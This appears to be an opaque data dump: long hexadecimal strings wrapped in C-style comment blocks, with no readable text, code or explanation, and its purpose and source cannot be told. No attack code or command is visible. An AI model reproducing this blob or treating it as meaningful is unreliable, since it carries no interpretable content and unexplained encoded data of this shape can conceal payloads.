aaf8250a6731d34fff9e896ed2342a3a3be3f2c5ae05f7f1e063fdbdda97b259187ffd766e083ffa16017c8a3a9cc41c255ed6f21ee7bb9f8e9d9223f89fbe27bec0fc668be40cccfc962a5ff455b180eba7081378d800e86212c9bd2dee40d62823b4dbf7586963d93a2186d480b1cc3e569b57fa6008d701adef96cc05a2b4825519ee6228f5fa1d265c09c11d6795978fa31fa6242bddba3d1b1f6bf6768ab1e700324f720e2a06bf10374c9f5edf8b73bde262b2818e6ba63def562533c536f15fec699d7f23ddca9200a90aa66e751611d7c49d0e82f06b186f1eb8d899aa590a04c927db1e408c6df265dcfca4adf7cf61794196877a0780e515cfe2445ef3e0facb81f7b07bda7846563107572cba3fce57d5350ecbf10c77127540124ba755156455a1121ef7e5a77a13fd7f1211e39a3d76d414afd00fe22f09e8fa20aeafc76d64466c776efcddfd999c75e181e5d2deaeaa95b936ce0b66cd88623e57603c7b88ca7a5969e7a70e4e47dc9aecd97e8383871a72c47e1fc10b4ac44bd99bf4db3f79f133aceaddc7e936bbc71bb91ad697c27bf8f6888e2ad2db7aaf1497aa53ce9ae0a6a0c84e8de570faf394705438c0af9b520530e5e5b6dcca5d000708be60009d9ebe193053dd97e45bd553008d9fa55a73bd5cf6d101f9ba557b11d4892a9369bf73fd776c62a3f0a9abd5dc4*/
/*d97aa798c42163b9047812f2e5354a2cc6961fad48229fa8a6a530f7cfd0049f68b93f3f38746a751db173bc35f8025dcdd9e097c6662003dd4bf4e8f4c698d22e3a7dcb6415b2ed6547317043445a0c76507945f8fe25b5f2de0b593a920efe81cfe2dea86ba89c822b173e17a73764646e9d538d58359bf618e5761cb167fb3be9c07a134e8d24e5d886e3fa836e0552e4d78f2bb00b3c281b16e5fc18853c92f799e8fe1295851cb3b90ab8fa888086f61797a26bfc93b179fe5b2647c93cf757e20f4758c954e381c3ed1f8bdac29e5f6d9e1c73793c6444020d0b2b2764e67d974bac20fcdf6776ce33a92ae10ebacde94ac3f4959cb1a3db4b685f058e9dfc393dc174019deeff41f4a7189bf4b5f030e0be7e1189f4acbcaf3ef2c10705b0894f4271df73f7df7a78d65c8bd40e9d52001173906accb1293d53b7dfb077940b7e079e64559ad97867f138f94e3686c7826853ef5ed4db500e6bf532ca1ba1d901117feb47fe62d13f8fa02395bf4c985e9ede4beee8a60e07546e4e3fb1c420930e58c08aa90a03851fb57adfab4dccfa69fc37da2a2b061743251b70925f52cbfc1d073df30b721b5432e93822b723f39ca952a921a55d798802d9c7549ece40ae871e008ccf7ac4573e3e43205387e73f8ca966c6a240cc489027a169767825545d5b5045ea0d05d2ff4a6573bf7b57bae0fe7e741c9840bae1670cc7e13fb91cd419a3295ea7aedddc622d5ba58dfd82d1459e320772bf9bb6e9243c10c019e1006b042a1b04480bed155cd9bc1e821841de1790b0e9ccbebbb914c0c5bd5e8ca173b6873a1b9d10e03eecc8ff67ae32e5e4525b6692ebcb6b13aa41620bcf8966855cd48b733dd3472b63fa2e3342afad6d308e75fa4a2d3e7b2f304d39f4b122801812076c9a2f92e9a855207ea8a4accf4e63ca6b1a37f223f27a0d6ec11862b1b9fdd112148607d62accb4e20bae7bea812f564ef6172515cfa96f70ec623205dea5131a701be945f727e1cfabbd65c4216008d37310364937406538f9353dd06a4415c3b2155cdba90dbe4ced2b500c20663c4adf11d8ddc6db6e56b0137e072ec500174349c6e4f4ee5db5c2a14c3ba61b9b19a7db15a2df0dd95a807d7bfca6bc886b1cb079fd4354660ed143beea01bdc2b6950495524ae9b32d6ce35b2e575d1332dfd6b6026a016209eb56cc714eaf0a7dd5089e3bf34a8feb78716112702bb0219c489296460f084baf318060fd5710ea0f6a76b1fc63b88a6c7cce8d6d428b2fe995a04141b55d43f251300fa1825a0e7e631ba9e9d5e367deaf57e88664b53b2d8baba651340a56bedb6b22c14b5686dcf678d0c418c0d0311f72ebec671df6b31b41ba60e816e172a3fe98661ac7e0447e7c524b9275f32a48d701fd15a82270abef93713b19731dff15ad002983326a2c0082185e5557e153976553ebf5a77fcc391f84b015ef43a855e602b209666c87805b9c1a37f4db1f37330323d3197130810b66971af25bd3a4d21d876d1ed7270057bb1985254e06fb1d30aa339487dd39d3744b6b1431209d5da59661d7d7f528125e140793d4f3b256207573f1d94a79499933cbb85e9a0f72a806c5405b0cf66bde029abe6b1d4b747e27cd9877761340ee643747146b9c4ccbf5c9d84e3ae58868a5f304d1f295d5738a4fa4538a6dfce7e7b25b19ac1d42eb7553fe58bcfaa34008879cf82fb5270dc3a21394edd594d759f56f059f2bcbd9182ea1178ab61cf494cf038d4b9ab97bbf623738b6cc26afc7847d7ff8bae05c535edefd6c9696e2b6546263a52f086ac883d2db138ab7e6f93a567106e78d0f4e7485f5ff168add1648848d9f9c13819f9707929880b29d85d26b136b3f37ffbb57091cccfce07bceb11771e2ec8d84e880ccf438884c41452255e5acfe6b48651ba8ab48cf45aa31b79da2bd073ff5beea964a6d1e9e2780d44f98493ee003572a0491ec57e323f1ba01fc9ef9b9d9fb5ae876c07f2cb3a3b1cef8785f13784b4fa1e8789270ae9c6cc68abd3992a38666793053a97486ad182e9b43f417c9cd1a2130df1446ee61a5de675a6ad6f487953b622b8fb60f2f26e622cd3b63c3d128521c7ff4ae76abf97a63892f1b74a7e4761c31b5dd02d1ba0cd43b936becde8fa0456109c6ebd4b018483df056d24d12de415584c31692b2db9ada6d1222878cb22b3f69fbcb7f390397ed640493782385edf6688e2220406a128e95c9864c9039bfadc8aea0390ae0606e93ebe74340bfe19c08179d95ca81f816d4779ab8e988aef74c830f1f32afcf1cb1143cc21e711851a364ecc10c7e2b0a5e763edde157892460609e8556a1ca30123179197057e7e171ddae55de8d4c18b40592480a32572fcc17496309a8ed8707ec8397828757947fcd21c3d4ca13822a0d45dce7bbc7e58d19fd806c720cf27807083178e621b72fd5d62b039de70645cde3e8f7832edc7255b85c6197371726cedc12d247a6eea3cbb565b4d2ef16a3116fb4aa7de1e07a385bef2da2e33c09ea82ee7a97cba5a0519fc140e1607db839881bfb34964a35cd90f4d4bd6b29c3c2acd7b8c78e1a0f3887db86456e5a0111f26d2fba17a52a05ad58a899323605aeaed3477a8b7a61ffc3ed896a0c13ee87131511ad59f1a32fae26030fba711c2f3db75c6422867667a0b0df718d4185a4cb616f8ceb7d29e3e12a4fddc3b4fb5b4b2122f9778657ecc9323142139eba255f4f218be1244fa944bcccf99ee59ec9a5ca0d5c6052ec1e38aa25a4e8b9d15e4b2eb5c6391c088b7e484d68023cb96f06930fff4e01ba8474*/
/*b71199b912f527dae57890fda706f5610427f5eb61f438979d8bc96bf310b08e7ef6b3569bde40effff829c578f821facc84236f0e19179645a5368fd4c7963426727228becd1926aee012785be7e5736561ec1e76e270265c67ef91ad21d01abcddbb343ee17e6faeec6b0081c5b5eaef1460275cd85e70ece58a3cbaf18b6d034fbd70dd5137bfc9bd88653a807dfb1744112e55c7f2631b7210aef29624a98fe60bc4f9e57983159d0c564675da04687d1a6fb0b555f1be772c194c404f14e4d132da4396c5bf3b3fbf432e629d8cb976b5f0870602a5cdca44debef20ad4eda89a0bb9dccba9a49a6483161b68321319d74f54365f3b8e4fdc98c17926152fd65fd5c7e22d2fb343132eb66349ab570775b55adf0406e83409dfa53a480284122919fa4038264670dce134a2c8747ccfd0ebde1a35232016ca6efd6ec59b2d456e437c13c08ec54a9e3f4410696e8f4c7b1c0eb15a611c1bb6230ec8d9a08f0f1dab73e2670d8bc12c8d491f5b65c6b8d39ca7562eb7d27dee418261f8ad90af8b9d3f1c0f874c59b9556e17d78093890a5cba47019b1d9c4dfa56184217b11973c87df8829358786cb2f94a390dc2aa571dfea2d5d7c9759d5dfa01d10e13e55516697db98add705bc1c57d5f5600ecfcd8a0214078207104c31f0604b4cd0f0c350312afb2185fa1de921eff3b214207e0572ddf6f1aa52cb3a29bcbf515b627b82d8e50c24c8483e847dd29ae414878b84d456a47293414f6633b889d7bb3a9578e6ef6fadec77623d482354ca6b034cfd130f22cbffc740b78b6d8925f42b1c76d604e135fac124f06d1bcb82f35a4e8857f66f5cbef71de26871ba36163f2bad025bf419e59f2b25a5a972f303d5afc5ee918cc99158e3ef8d29e8de53a24e1e9ee96ed239b5b854399b546a90862ba4dc8c75b8cf7883e01d16fc68e21ebdba5619c2442ed1c77b7b371ce835b058a0d28963c0f3fdc6c174842744cbc65efd174ae39d5dd64a9d2d6a55260e2b4c8ae4b1e7e28e9f2897d85e1dd3f2ed83e8cc68d22f0635a9a1fc148e880580edaabcb067dd5ddff5317a50d75346853fe50b904a5edc0d905f2602efb4d2b0ce05d7b074a1c004482f721d7b493df3134580012d87ecfbabbb03809bc6cd471c3e338da809eb22e14a760d64ae664a97b6d28df60a494f231e3e99ed3fd0444a9b4c933c24bdf570433d038ed2337d124f6932903fcc5f130b407db28eb3c465ce9c4a0ef2954a30e348380924c8b2052120722df53d3e22d466620acb3bd2c05a7972672c83b3b58d49fb4a0781a7b64e55880a6a558f53ca79021abd120ac7266e2b4563a9c98e95eea3c1d208a3d94e58c9b1574772d2f429f0a71699218809ae30ebb9d3f820673a48992ba11f7702778ccdfc81a0f8789fd9bd6e99b38d772da2c7bd3aa6bf75dd2af5eaf6817e9c32d849a50b5a26d28aa7496a8a1aae3a513956c571d756d2aaf64945394d2a0e22cf31274c20ada31eaebc78c28cc4a641ccc2c0233eff52c39f2965fcd0b4772b52f6e2182b21bbfbc2e683444bb4460e88be1eec6ae63b07b8626bb2c74817b9b66a2bf93350bb46801e229b8f5602dd122d03461af6133cae91be13ba86a99bdbc18ddc8265fd8ac35e6e80a98e3c8fe015a6889a2a4150750813c646d155ee41d383e1552861de8ce064fb6ec90d245a1ff78b01b6f6133a6a33811f21aabff095b6c82f4ae17eefab31cc113a023bd869a5e62847ef2f3fd67372f58dc497ed7d33b33912da39363ec9e87961e4241979557d5f6988b79e8e7eded1c88c63c09b9c4c04789ef1fd365ffbb8d2a80f672faee9cd80be8a9ebc653ba21e28e0e4799ec8435f77194ebda4a936157b7e8b56cdebd9d4a37131fe6547dbfab87e3cf6a71279e3c8e1ce64924567eb0168b5eae3b06a58d1d95b6d35b2c4d34e868a4c0e8a1f1899f839d95db294b2d5c7f2459267eb65abb4a6953f7dac36c1273dd41496e4adedb6d2e932074348b52c39b57ce53457724f53607e4ebf83053abd5e6bc6ece59c9e9cf110fdb82bcdf377a82caa40c10df433b8d0a3824da6d9cffc874c48d751a623fb51c06c90a43002ef38077fc50ab9934fb1679610b01685ad19ad58f43483425eb8abcf6ad72d6a9d5e10ce8368fab59b678eea073cbb4bffa35e35fb2514ff805cd9100bb71e52a88f73803e95ce06c1b18624046f6d1614784eb7e6f9060f6df40b56225c6db289bdef5a6cbd3f420deb5febf87f1462a31cb4b36de6c916f33665ea09e1f04049060d443d016e7e175b07f632e7295ac0192030bb59f695dfeb6a6ca5f4df500a60db7d68cc22634f28a0f3601efc1e6de0e155112e7574ef3d7b7013f62db95a9a61611373d4d4e46bbc961c2c14c830ee6d0833f5879034f792aa960c1b3d55364d13092fc7aed4ed6a27c391527e1a1f91384e6a835aca21c104576059ac588d50dcc8dabf4fd9e4c64837e9c6233cd42ae7eff414409713eafe2bb07a07b851330f5c08e00652167b601d9ce20251539286473626da399e51665705771e10788ba3bea4df9b101681e2286fb646d42acc4889285be7647bdd7dd35b790e6f9b151b9cff9362967a047afa2aa3d71fd0e4008c636a9ac959d68346e03045384878ffc8b8500fd2230d473e9a1d6451e7f75ef0562d5bf4fc33b72998a943e3cec8afbd67e8992650fd96b01db076ed8169c25bb1b0487dab35fb668f051c05c429e1f957e49c388e922056b8d121984f5cb7c2db748b7aee96d441267057d39d9c4e85d56142b9437c035e1cb60bf512cd67cfbd8fbec13*/
/*b061496df2abbf87a485bdbc87618b711a926519b74dae1f91420ae8efc196af6318c9badde65cb2e16d1b8a5945c2323ed27988590ece481ea5fb903078f0c38c550784798da76bdd7c5eeb8e1dc3a4f181672d8454634bf0222acabaaefecf3f0acf8e0d737fb5ac9e62aeed296e179cf74d9600f4fc61283347787fb1b54b55170b59d82a32641b96bfccee214a04f8222ea4380460787d7404cd5cc880f21c911cdf6452ecec538f5e7d43fd90bdd681514b1687ae0249db54e4790113102044d1eb7a20e84bffbcca05b70df3ff264f0d6b336853575dcfefe84c8535c6c53fcad74a1b8cc1a65cbaa005c83bf0b4397abd9b719ad5060f4fa9987df892d2ff1dd11454dba1551c6b0723dfdb65505eade40510eae489c8dfa2b853555c5811fed4e7e3ea4741dbcf1c3e65698d0bde9b0a691f6d44dcb41dbb4413562f8ab718ab354292aa82b92a0af4cd9bb1adfaa2be1e3315298d0b97c9343b5d1d766450e143529860c649c0809954573ec776f6730d65f5d0112dbcc5ea08c2d8abdedde82659679a940534a8d1ae499a4690c986911ef57bb3c81dc5a3494b24191af0820760a18b76330d71234616ae8adcf97c5c6cb98de215f70f7427c9da1b2421b6cff64e21ff67f408981e094c61dc35cbbfd5c7080e9c920104f88df338e3b071c2bf3f1246fe5c8421eeb3b42d78729bcfd43791ddf176eb72d3bd7de6f362c529de4b1092055b968a6b1a00e69af4cf6320dd4c5b80ca11a879fd617e8e099f7511b4ebff60fc166b3d0cb30ad55af91205bd819c8e1bc4d2ad4e0e3cfb6418690af02fe216caadbe52235d6b56d668b9b1c6ec96c3065f46da66794643f6ee3b8c9c043b311b066208352a3e2a265aab218bc5a3e2b2a624cc219b5fa3a31c1617a15ae6dd23bdd777fac6dcdd0d0cbdcf5dd1e6ed35ed8167b78d28cb8abdd157ed458eda2c1ad50399aa4889b2f2e76830f88c9360f980b07d450e46be5c1ca0c5e156a7ff6dba46a4a1733a97c30c78b3bf9144714e89994181eff3bea9afbdcac164a3efd4d7e1981551cb854a54480b69b4c019866866fe9fdc91e63e33b87b7423c922b42673e2be6efbf595260d3c9bd476493f447dc6d43050de7429004cc3f1e8143a7705248dafd9ad09ead5de6c43670b815446616ff5598ccb9155e0ef6d559f127a9bf649d76929ca5949e64051398b8868890e8bca9c0550b9147cbfddace156ba9052eff9d0d2d9bbafae4cd97bb509babcd4a7c8aea5de63d8e75bcf3076092c92af3eebd76028111926b23df013cf686fcd0cff41a859aa589020146d0684788044dab50d0bbfe43344ddac92a4b17ffec68aa563ba4f57e381ef27d94f2ba5c1e68e78c67c03391e3905db19de217364c3687cdc2c0d2157e4d60c0f9b3ba6cf7e08ca84cadce1c34099498ba1d40a8e560c70af598de278984d5ff02fb480452535bfccdc7a7ae1b54f891e4b680576fd637eb382fae124afcabd07280f616de77140984ac4941c3ff08c4be23de123853a313b1a9985d6cf9c28ff47d235f2b40ea064ab9f1dfdca7599b032e372b54ffa023453cee978eade1f1e3edb214c7b3c5d425847a5bebfedcc921454fc10c3b404c274e379accd969623071270c8a6691fcfee0a993813cb65fdc4ff4a6f015c311195d5b37d4942702df29b5a8a1f16b5822f6e423bb90aff5daf35ada5c8f216d8899136067e4c5b03657674ffeb8de98b1770352fef6d457aa5d9e0fe28a43859567455e7be114cfbd584942ccab13cf9ea147b798cf95c5a251067b63b558505bc40a7627da2ceca7312b9466f9b494d7c624fcf7f04cbae798155893ef4f7eeed139397e33d427fc8a4115a3e5db18bb723f1d8299d84c99710edbee9fedd86992ee171c26d43640b4ef4f515807307d447cc6c5331352d85b1c3e4ba289ec7b1e6859fd28c4e05d7fae57ceb4cdc999f9f5d2326064796ecbd2764ca03541780dbb6ad92d40daa4cffbba5310343fa156909b5a1be443679e2b7a88a942bb2d3367d284f557249bcd853e36eb1cdd92d130876af3690be50d0005c39cf9916c38db5911f9d9b44d8967bba9fab7c94b00726ca02a5fc4a201940563b0ff4ae0f4054f8f6daa02545fa44c6f2d3d6b43750b033e08e9d9c0a286f96f89f64a71ad095a1f58c94f4c7aca3927064732be01ad50b158b449912ad045f91287574e67f0947be04d1695f8f53de1817931e13889649949a200bc2ff88fc98155345a3f6a2db62b6ea76b6e187d3a4a0b27cb40b06d5b1bb9590a6ead24c3f9c2e63c9f208b6c8e3ff04e283bf4fa2833e8defe3c1c4493ff352b3b98bad179ca431f1877b9c647afcc35eaa984ac345661ffac721430bc00c0ff30e75c1d16c2dada8dc6a526e9623d5bca6fa0c38f252944c594f7608e13fc9be5572e82ec484a762affd498256e2a6c64a4a51b68c9a4114f7af426f397a57301834b2dbf5e40237482fa864a10b8e26881749a9f51eb831977710c5b5e129d6bcb3a9e1a6452bc3e6354e33fc5980f5a800a2052b21a8dd41f4d32b8b9d9304b093d498ff8289554bce5cfc12a0cb59837c3bda9578e46dd0c292fd537909636f0afd4c89b34aaf061be2e3dc03a9b9385fecad6bdc7e740d0526578c1a6dd12dea8d28ba8f11764d1c7226be712320b905b8c64428e7252505758250137783bdc55c5cfe1b8551ae9d32d85be54414cf91b5f1a753d0d41f4f3274e1436542171ff43a7fcee4989133887accd0e59b945f263266b605896f06ef994092e9ce7a07444a556add7943e492758b691a236cd89606e9*/
/*24c7dcd562c7016b61c502d1cce4b98b8e27cc6132e58be64c1ce3b5c0f110f519343c52a82ca1570078b78c837e190104ac82c26c508c6bb48ce76745df58556e7e3f20727cbbda1174b68edd25736578493f09c4160ef44bd60fa3317d5fdac6ebc18851e83b34857eebdd833223acdfdb649db51c02d412c8e0c6e7525782044f7d5e1fc89a90c94a9b77241ccdda8a052601a1f75bbf246e1f8a90d3aadb013a9bf9f013ee0176fafffb1a1951882dbc48588aa1e546395938a8dfadd2ca26ea3cee60e61cecce65b5afa52c2af9032542bc3c163409b7bacc3066b723652dc434b8ba35ca6cee4d307814837821e31eae37cb21dca55779cbb28d970bebec721f80c50d6e7f84247da1f6e1f057cc361f68a31d342f91f204795818d66badf0ba0fcfca70562404be18b6f3d96890f8c1d1d35a10ac36f42ff5e7a1717f28369b394315322d6fa956b338f95fe9794521c73c0f4de0332b204b9188440199b5e34ec1de3c77a646ed017d79331cb6e48691eae66597f70563ea8721af64c9a6d073d4d3332029ab7cdf8341b49cb84c4de8e886dc5615dc93a69ce31c12fe0d1c978c49cf60af2661ffb8b97ff3b401eecbf717b1ae33583311a94203aa98fb37396cb6683c5fb9f6c880088f3c1aa801fd956884433ffcd06e1c28c555199f7f6f254c5ba4855c139ab473d41fadfa882c89fb73985fe48f31a7f78cc79046b478324348d7903592b89186dc634b85a94cba4e78c09b5253105f7d9eef7cef2ee17f88121c2d0ebf89574f6dce231b0a3755fc9cc0d1d76426ad654398f609f1acd4fac830687eede8cf58e4012c7dd30878bd549afc6dfd554245909aa871cf2544e996d96d7bddae8b4a531755b04b2a0fd71ec64c86d062ad2ded3223c0a5e84e1940934459a982aa555314f8c9a61f3940ac911e0a94b3346cd06998d4cdece248375a770300e7e9dac6454f40b1a30805d5e7856c043ed2e2ad53f46a4df5af259218c9ce32ea6d64a2e7cac89fc2627a086841369650d838cdb427d78227b97a129a8ee88a2272d39035c04453c9601b213a0823d6256b01ddd0580037fc19efbbd48cd4778de923789836a900d6ec5e697342089e53ab7014f16f726d620f5f001dd463d3901178dda17777b862689ad49bc018e6d4189f6ef3d45f3cde6ce77d24bae8ceb8e11203e89612e9be55be22214dc8f55d4cba5eabe238b18a5d6bc99c874f9c8ab1cdbb23a3b397a809c1cb5941c9ebbb0e6b99550afa6d164e6ea7063bd6d3e33708a71e286612157e02a7a56608fa76aa72008acb3bb18010aad341dd0d8c074efef6e6d6aa1019bc4a7be5b3995c19b51cf421b963d02733b3213ab41d8a2cffc9d7e4ec64095d352737973874130a4df8dadb4dae2bc71c59dda914861095ee200627f679c75fde61ca1dfe25407a8205272e3459befd717b54acefeccacbce1f0b93916e4493ae89b9a881281c1c5c19135e0c903a83ac4630af2053b341e02382f8a6ea456474cab7d18514793c085a1267a52297573a7a956f8128a42be108ad07862c0985fb038b5492140da3b50562ee32a522f22d791417528498aaf372ed0cbfd12b8eaf48f4ca4f2d4ee02b3ff9de84dd7abfe4720091a85a9062e3d74477b80d4f29c922320e78885109885787538430938df2003173a7c510288a901e18e6542877861c9363f9a933e7eece468f698967b0c7d6dcbfe32b035baa792c577413795897ffe194f2ff6b6295b6d53820f64c034d423c82636976b42a9391c17b7e4f5f26379193b5bbfe9cf6198290b255e6c04777f40670b99c6d2135cd49be0e5db6018456d21fb7162cdc0b7a8ea5d9dd73fcd1e69d691e6eda0a60c92bef055ac82f59094dc6da7f3b376bf88b504ba5ead5bdbccc027994fa531417cba75df82a149c242d3b190bc518f7eb2bd292519e192ccdc2e52c7ed73ba57863cc7ce907ce5b24c0ce55cdb91b66880126980ace4b073a7df97246e5dade6027e85324b0ec604e854eade5df3f1229cd50399a5575217483ec8952c445077fb564d50c4a10a220dcb5cb958e7161379af18115cb1e4713f94d4e74a8ee7417f58f6e0c212f867329bc2f2885bb77a8df158cc800863c0b9a96e6d4908aa82afbc080beca92d9c993b8dd8be9412e7b96985dd2a8bcba7dc81e6e751c35627015a34afbcebec4e748b6d5c9ec8d8b516027c632b1574a1c50527d5779a6a7c117db5f8b20fa7082e1c2a5c9bb5923d3af66cfb20e88b420a541cdc2d6483b7b8db14876220a0f39a3450dfefab1f0d4972cf288c7d80d0281c0e5bd025714991813f91df5163e0eaf4a52b092632bc38688ed8bdeeb6770626a244adc9d83f116a2e65a238a3c5cf6297e9920e12ff4907bd18c616f55e7cf8e1f833772363822a5a62bf1be0d839988f25fbe5f2c77c3ee4bed04960933f5549c30432a86ff41539bc7e5501f84bc2dc3e1fb92b3fe0bca72291d2bd2ff098422ee07b72d4c8f7b48dd4a6c377757400950ada52d7119ec956d06f57b0563073d39f9e8719e7583e16e3816fc96f7b95f1a7256a653023bc8d74b895b7953785e1f0d25beeac34d24fdc940e72a4af9ddbd344d4b6ec70e16c7e73ab2625daabe4137e0c4200f3af091b48b2b9cbabb04f2b9420a31f81e195d73a9e69d31b64891a08b046c43475c9c36407b96ca64bc629b64d65cc0e2c0160f73a41a37e84ce3a315f49b309f439c0ae2863af05ad7bd8e93e49527e589f60f01778d755aa4d0ec1680dd9faae5683eeccdc957d019f021ff239b611f599a3f23978fc5aa761371615d44b0*/
/*f37b6c35107613e95a2c09d614acc8e9c94bd58fa0eb5decf5191161400bff0813593006c8efd66a0643217ca01704a8d98c5704dc22a9aa1acb6be86a4480ad75348f6c884b36433c74b72c485fd273872caf92000a9c0b0148248cc4fb479ef032abeaa1e002fce9e99ebec26eac87d6183a52379e9fd217fa3c1dae63d81890169f69959749e087a9e2a605a4b5b6c09fffe1d3919c755580cb428a99981c3a42b2bcd72d0b3298c1ba1c8641c43a7b73ec6f883baf271a362b06a2b5fe7cdde6eb6a86f588e90be7e5374ea773776d4898ffc767c450fbe53f44289b7d836be323725c9501107f80e028c6c400e3da10f71137a6aba97b64b6a97603e4e9164ef8500783145a241c515df5053697cf5b9da4afe7a813ffc185682532763d19bb6845d618a6932bc91f27d485753991caee71ae3deee79ab7a2a5a700e2cf296dcccc40b9428371f2ea8402c22a325d25090ded62faa2afc3f5f8e6ddeb67488a5637779ad16aefc004f091c07bac325d37f739ce548b76086800d54ed14ff2cfccc2ca15f224f5e70b6becf92d08a7208766f31fc9092cb5bb38b933feb536db2918d68e1a4a47746a61ca5e8e2d8a041a5608ee01a70ff47030aea00019960a8f3ea4c5694568659b8d0cbbb9b260c975c8d0a09743206facd27b2db9ba7bce66baa2bb17dd0c882ca83de091f3d05c67a5d16378a2a12f2d120e0cc72be544922b183f34c82d71ef5bb94ebf0cec7d0ce0b0d3e8e817f4174d47f284056365a6ab632cfc5acc92b589b9a8c244c3de867541fa80e4d5cf5ba1a3387dc5387588ec62e5c3fb49a7ed003a46367aff11c1cf8daacb6e57a76600a54b060d2f517c468f29f87fd89abc060205b4c5cd1127b8862a919c47a2665ae5ff9b3b6c6465dd59103e8b37a6f07df22ae73bcfd5bc82cdf9a70730fccb653f4f1fac14fcab719a18e99de8049afe9d702ee2c79e360dbddf1de06d75f309cf7f5c9d89e55ad9750c5084ffb11cb145342e716686bd4b6afaa836a1a7aa3ad8911bfbad9578635f6dcaf59de25cd463e934a92fa864a134ca5940a100d060633dee62efd829b5e514a2f08b7eadd77325efe02610d882e87f49ce06d91382478478b8f4a8289f53a53e15f0a7079d130d0cca77ecea031870ffda46ea01c4ff567cbbcb29baebdf36f7fa31288208df6813cd1237e3a8e3177f283770f9bc207a97ff2aaa5a6c88ca957d9a8fc1f18fec4b49c8036b0b29fd198d172fd260a140e69ad8b9f863e4539d966e5ceaf057a258da0aad1f9f4a83efd8d0087ee1a27a7e6d8d9b648b5626bf7cb6e0131072d655a20a874e49c14f9853fdb75b0b2f52a4fd1b5229b142eeefcdefcbed7663c69f92dad4f2a2f75109db4b1dd9bf7bf0f77ef38012c581dfeaa16552b948bbf47324df0fe42c8ea6ffff7bc31ce9beaf56efd29a968280f99ddac76e044b3a2da9434d45a4229e5d06d244aaf7d57131796ba429d7f091a8f9a93862146092d4fe442366ddef77227420c834caa4dcffc53ab40ab68edba7540080c3e598d55c226271b2d0883e73167224252a33e5f778ff99c909622f07d4034e099d9838b2ad731dd102b1cb063226a7afa488bd1f7e7ca0b05a54e8dbd03b8453189308c4f55f82cdf45e8251a713c3c2da6843280e735aa53b15a0bc244c3be6f2c8f78091fdb443e87c8d8ea0c245be79a742c14482ba9a2c99625c72ade3540bec7c66751eba3a2d8c569488afed347ed84b5395d73dac0c6d0baf74ed998fdf4c4357e8e36345325bc254a079f2c89b14d4630c253c5ac8ef950ada1159f64d0ed6e61cc8c8fc4b8ebbe1377502d0acfed15cdaff86b332cf380602793869c9e2bbf98ab62fbe4e41f5e79c01232d1d5f0d679187ea8b3c9bfdd635c5ad57227126c2ee1bbb11d5d5791f660498880ae04196457f61c3ba539a2caf4bf6c0245b668fe0629eeeccb1a8cb3064705c158267c602e2dcd68643fabaaa64bd1c268115285298af850d9313f136d85d2f30bcd1ffd3c629339e917f3084bb96a4d3cd58b7f40b7d2176f78f1b0de34706fcc955b4246bb7495b552762c0ffbb7a0cd1ec06690d348aa48f4a2aa7ca259fd06aa1c36d2fd19062ba29da6d125e2747db6d1e128aa70195e56f782d200fddc348e00d94d9703559d799e4bb9d037087eb0a71c57000aa9b49935addc5db8e6079f19877015b807bf028472729e53b74380b0f35f79523090aad4ebedf1be6e79cd9e51ed2f0580a029c6bdad14ef37dc7d7cd39cbe572ea6e3ac182e4f74e38032801ebd9297ce9b2086f5a77c2f1eb709cfed617e57ee985aa4218854e86b1b0e40885ad913eeb037606e11aace6668f67f49c52b3c8b07ab2c51ce106fff181e042f0940d12c2d7bac3d7ae17268f43e20d4bd44e8f9bad69617f221e02717102bef2626cd87d135af8358e2f56519510e445eb040ab23cbf33e85380d35c09ba8443a638921ee097dd315cab442e8b679f6ae447e99663d22e4d8ff104518d4e663bb9a5fc700f32f084f4110ca0691b703782eb92481a7881e1de22dfa445104c2b19a6376d97a6b168b72add97abd086b4e707b45c0119bef5d0b502ca83dd94e2fad34b0d9a7ffc4132aa7febe0abbfb69043f15bfa9c51da8afa6b6d0d56a8808e309fe4ab14d95cf5159fac29dcda6c3ebee242be2502480cd7f109b9f6ba2be453319e62bddecfbddfc06f3c7f5e52416e9c64bfb12aa2e8c6ae17f5c785ec3719136dbd27a0ecd5af37fc9041dcd9ee2d93a4457e4bfa8f1a708debe941fc62308ab55e287e8246a1611331123756ae*/
/*f1561a49a79cf5f62d84ecf8bcab0a30bc76749495907c6d1851b1db6d1c140c41c17c1ea178aa02df03177825614651d6af8df1ece60fb2c083e5227a8d39b83421175fe7131c6167f2795ae408da32ab67e9acc2038e209e0237f617065660420a5551559a358601f46a95935c9d30edf32fbfa30666524fefc9ec851f6c9196af4d5434343b42bfad998cd74766edd11a4c880c67000037706c87633bbdbe6e9bf12243e19b240879fa8ef17812c874f4ae9dbb006e6f4b060d66a4a359d2535c1b9eb7fe01654baa5bcc93abd43712caa09e9bd78ad725998870990190d6ebd52c5fca2617f9e621d445afd67d238dcc68c8a97cd8a4a2689d49445fadff9ac7d9e97eea2829f1ec7ff271658c45ba1c54e40ef2a94bddfcf11569632b4f4ab54de1f6648f3119ed95b43315407c04897d92289624da4136a3b6e1188e0fcc0f230ec79b03f4605a4cc3b1665dc5bebbd393e8dd366247e8baee5f555d1104bcc77c484decbecf89167916a9f2831e1024d39d094b1d17e082421ef0eee8efe527ca7dbe09c62cf1488713eb1f3d939370667caec2ff7d6b47f69209846f4bbfae4f19f6a9039543aca9a9e7fb3540b2b5d6768a5ca0fce86d14c8ba0370ce485739b283a9c5d1720edcf1392bf56f4bd2d72c3020eab8c788b6cd67fb0c4ff5b23a8be829f2645b6431053bfac4bcd24d61e9c6d15db52ce26a69568456c57c9f6aaaa64861fe0b95dd783acff5db11a14940c263117db87120a852441d70dc4cb165c95672db4a226ea619bb7c374cf7772bfc420ac7d05488d52d096af8ab62b6bccfdbdd002ffed80c7424b7b87fc42068cf0154f9058cdba0a19bbf4d92e4fd8dffe0818463d2625b74f37cac2e4b163e7c2b7b3469fc769539489a8b8a07f706a381743efa32d27e7910fd4a3588dd8366900c0cf47717ef31a3d41706d363440c9ad4f150740770bf1c3902eba2446cd591fd36e4f78bdd7e4226283a1ccaef7dd92f1fb4b5c8f86e2e33860d94b4d81bd9febebf3a2cce0c96a832e280fc16df14a59df9d928e143258b1fc6e8f0b1c284980f06bfb58c235055c7d878a91b8663db6e178d3a871122096fe861ba97fb06c40f4529fb77672b75cde3c746116ae5c80af7f886d0da2722670b76d0d67b85d24710f749304e75db8540f522389f8f5da6f397ac7bc18c3a34b110a45e0fd9cf4c2ec72df9b98fc9c0364fb31084bb648de48a627e0fc530cefc4c14a3db012a1948285bff8c0aac1bece85a317d83daa9730adef2858ab0717e4386575dc4fdc21ba6d2c4bb0ca004c19660573492619099608f5d7859ae162c62815daa22c21b31e9927715d1a864902234a6cb2ae859bcc6988a8efb8f8b60c424dc7f57f742551350efacff64bbc4eaf8eea5463c2